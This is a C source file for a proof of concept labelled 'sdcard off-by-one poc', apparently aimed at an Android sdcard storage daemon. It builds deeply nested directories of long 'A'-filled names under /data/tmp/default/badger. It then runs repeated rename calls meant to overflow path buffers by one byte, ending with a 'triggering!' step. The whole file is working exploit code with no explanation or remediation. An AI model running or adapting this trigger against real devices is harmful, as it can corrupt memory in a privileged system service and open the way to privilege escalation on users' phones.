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#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>

#include <sys/stat.h>
#include <sys/types.h>

#include <unistd.h>

static void _append_dir(char* dst, size_t dst_len, const char* src) {
  if (dst_len > strlen(dst) + 2) {
    strncat(dst, src, dst_len - strlen(dst));
    strncat(dst, "/", dst_len - strlen(dst));
  }
}

static void _append_file(char* dst, size_t dst_len, const char* src) {
  if (dst_len > strlen(dst) + 2) {
    strncat(dst, src, dst_len - strlen(dst));
  }
}

#define append_dir(dst, src) _append_dir(dst, sizeof(dst), src)
#define append_file(dst, src) _append_file(dst, sizeof(dst), src)

char* base_path = "/data/tmp/default/badger";
const size_t overflow_count = 14;

static const char* name(size_t length) {
  static char name[256];
  if (length > 255) {
    abort();
  }
  memset(name, 'A', length);
  name[length] = 0;
  return name;
}

static int rename_and_test(const char* old_path, const char* new_path) {
  if (0 == rename(old_path, new_path)) {
    int fd = open(name(1), O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if (fd > 0) {
      close(fd);
      return 1;
    }
  }

  return 0;
}

static int rename_pad_1(size_t old_size, size_t new_size) {
  size_t i = 0;
  int fd = 0;
  char old_path[0x1000];
  char new_path[0x1000];

  memset(old_path, 0, sizeof(old_path));
  memset(new_path, 0, sizeof(new_path));

  fprintf(stderr, "      rename_pad_1(%zu, %zu)\n", old_size, new_size);

  append_dir(old_path, base_path);
  for (i = 0; i < overflow_count; ++i) {
    append_dir(old_path, name(1));
  }
  append_dir(old_path, name(1));

  strcpy(new_path, old_path);

  append_file(old_path, name(old_size));
  append_file(new_path, name(new_size));

  return rename_and_test(old_path, new_path);
}

static void rename_overflows(size_t new_size) {
  size_t i = 0, j = 0;

  fprintf(stderr, "      rename_overflows(%zu)\n", new_size);

  for (i = overflow_count; i > 0; --i) {
    char old_path[0x1000];
    char new_path[0x1000];

    memset(old_path, 0, sizeof(old_path));
    memset(new_path, 0, sizeof(new_path));

    append_dir(old_path, base_path);
    for (j = 0; j < i - 1; ++j) {
      append_dir(old_path, name(1));
    }

    strcpy(new_path, old_path);

    append_file(old_path, name(1));
    append_file(new_path, name(new_size));

    rename(old_path, new_path);
  }
}

static int rename_pad_2(size_t old_size, size_t new_size) {
  size_t i = 0;
  char old_path[0x1000];
  char new_path[0x1000];

  memset(old_path, 0, sizeof(old_path));
  memset(new_path, 0, sizeof(new_path));

  fprintf(stderr, "      rename_pad_2(%zu, %zu)\n", old_size, new_size);

  append_dir(old_path, base_path);
  for (i = 0; i < overflow_count; ++i) {
    append_dir(old_path, name(255));
  }
  append_dir(old_path, name(1));

  strcpy(new_path, old_path);

  append_file(old_path, name(old_size));
  append_file(new_path, name(new_size));

  return rename_and_test(old_path, new_path);
}

int main(int argc, char** argv) {
  size_t i = 0;

  fprintf(stderr, "[*] sdcard off-by-one poc\n");
  chdir(base_path);

  fprintf(stderr, "[*] getting everything ready...\n");
  fprintf(stderr, "  - creating %i small entries\n", overflow_count + 2);
  for (i = 0; i < overflow_count + 2; ++i) {
    mkdir(name(1), S_IRWXU | S_IRWXG | S_IRWXO);
    chdir(name(1));
  }

  fprintf(stderr, "  - creating large entries\n");
  for (i = 0; ; ++i) {
    if (0 > mkdir(name(255), S_IRWXU | S_IRWXG | S_IRWXO)) {
      break;
    }
    chdir(name(255));
  }

  fprintf(stderr, "  - adjusting pad_1 entry\n");
  for (i = 2; i < 255; ++i) {
    if (!rename_pad_1(i-1, i)) {
      rename_pad_1(i, i-1);
      break; 
    }
  }

  fprintf(stderr, "  - resizing overflow entries\n");
  rename_overflows(255);

  fprintf(stderr, "[*] triggering!\n");
  for (i = 2; i < 255; ++i) {
    rename_pad_2(i - 1, i);
  }
}